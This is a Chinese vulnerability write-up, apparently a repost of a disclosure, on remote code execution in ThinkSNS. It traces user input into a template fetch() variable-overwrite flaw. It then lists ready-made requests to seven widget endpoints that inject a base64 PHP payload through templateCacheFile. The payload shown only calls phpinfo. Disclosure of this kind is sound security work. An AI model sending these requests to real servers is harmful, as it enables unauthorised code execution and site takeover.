网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

ThinkSNS第三弹七处前台GetShell - 网站安全 - 自学php网

来源:未知    时间:2015-04-15 13:43 作者:xxadmin 阅读:

[导读] 漏洞 点出现在DenounceWidget.class.php里: \addons\widget\DenouceWidget\DenouceWidget.class.php:23 /** * 举报弹框 * @return string 弹窗页面HTML */public function index(){ // 获取相关数据 $var = $this-getVar(); $content...

漏洞点出现在DenounceWidget.class.php里:


\addons\widget\DenouceWidget\DenouceWidget.class.php:23
 

/**
 * 举报弹框
 * @return string 弹窗页面HTML
 */
public function index()
{
    // 获取相关数据
    $var = $this->getVar();
    $content = $this->renderFile(dirname(__FILE__)."/index.html",$var);
    return $content;
}



可以看到,index函数主要作用是通过$this->getVar()来获取参数,然后再进入到$this->renderFile(dirname(__FILE__)."/index.html",$var)做模板渲染和输出。

先看$this->getVar()

\addons\widget\DenouceWidget\DenouceWidget.class.php:56:
 

/**
 * 格式化模板变量
 * @return array 被举报的信息
 */
public function getVar(){
    if(empty($_GET['aid']) || empty($_GET['fuid']) || empty($_GET['type'])){
        return false;
    }
    foreach($_GET as $k=>$v){
        $var[$k] = t($v);
    }
    $var['uid'] = $GLOBALS['ts']['mid'];
    empty($var['app']) &&  $var['app'] = 'public';
    $var['source'] = model('Source')->getSourceInfo($var['type'],$var['aid'],false,$var['app']);
    return $var;
}



通过foreach将$_GET合并到$var里,之后返回合并后的数组。

接下来进入$this->renderFile(dirname(__FILE__)."/index.html",$var)

\core\OpenSociax\Widget.class.php:73
 

/**
 * 渲染模板输出 供render方法内部调用
 * @access public
 * @param string $templateFile  模板文件
 * @param mixed $var  模板变量
 * @param string $charset  模板编码
 * @return string
 */
protected function renderFile($templateFile = '', $var = '', $charset = 'utf-8') {
    $var['ts'] = $GLOBALS['ts'];
    if (! file_exists_case ( $templateFile )) {
        // 自动定位模板文件
        // $name = substr ( get_class ( $this ), 0, - 6 );
        // $filename = empty ( $templateFile ) ? $name : $templateFile;
        // $templateFile =   'widget/' . $name . '/' . $filename . C ( 'TMPL_TEMPLATE_SUFFIX' );
        // if (! file_exists_case ( $templateFile ))
        throw_exception ( L ( '_WIDGET_TEMPLATE_NOT_EXIST_' ) . '[' . $templateFile . ']' );
    }

    $template = $this->template ? $this->template : strtolower ( C ( 'TMPL_ENGINE_TYPE' ) ? C ( 'TMPL_ENGINE_TYPE' ) : 'php' );

    $content = fetch($templateFile,$var,$charset);

    return $content;
}



直接把$_GET数组里的变量放入fetch里执行,fetch里存在变量覆盖漏洞,于是就可以get shell了。

关于fetch的漏洞细节可以看这里: WooYun: ThinkPHP远程代码执行隐患(需满足特定条件)
 

两种getshell的方法,一种是include包含webshell的图片,一种是使用filter
 

/index.php?app=widget&mod=Denouce&act=index&aid=1&fuid=1&type=ztz&templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D


 

4.jpg





同样的原理,还有六处分别是在:

其他6个:

1.

POST /index.php?app=widget&mod=Comment&act=addcomment&uid=1





app_name=public&table_name=user&content=test&row_id=1&app_detail_summary=1&templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D

2.

POST /index.php?app=widget&mod=Department&act=change



templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D

3.

POST /index.php?app=widget&mod=Diy&act=addWidget



templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D

4.

POST /index.php?app=widget&mod=FeedList&act=loadMore



templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D

5.

POST /index.php?app=widget&mod=FeedList&act=loadNew



templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D&maxId=1

6.

POST /index.php?app=widget&mod=Remark&act=edit



templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D

解决方案:

加强过滤

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论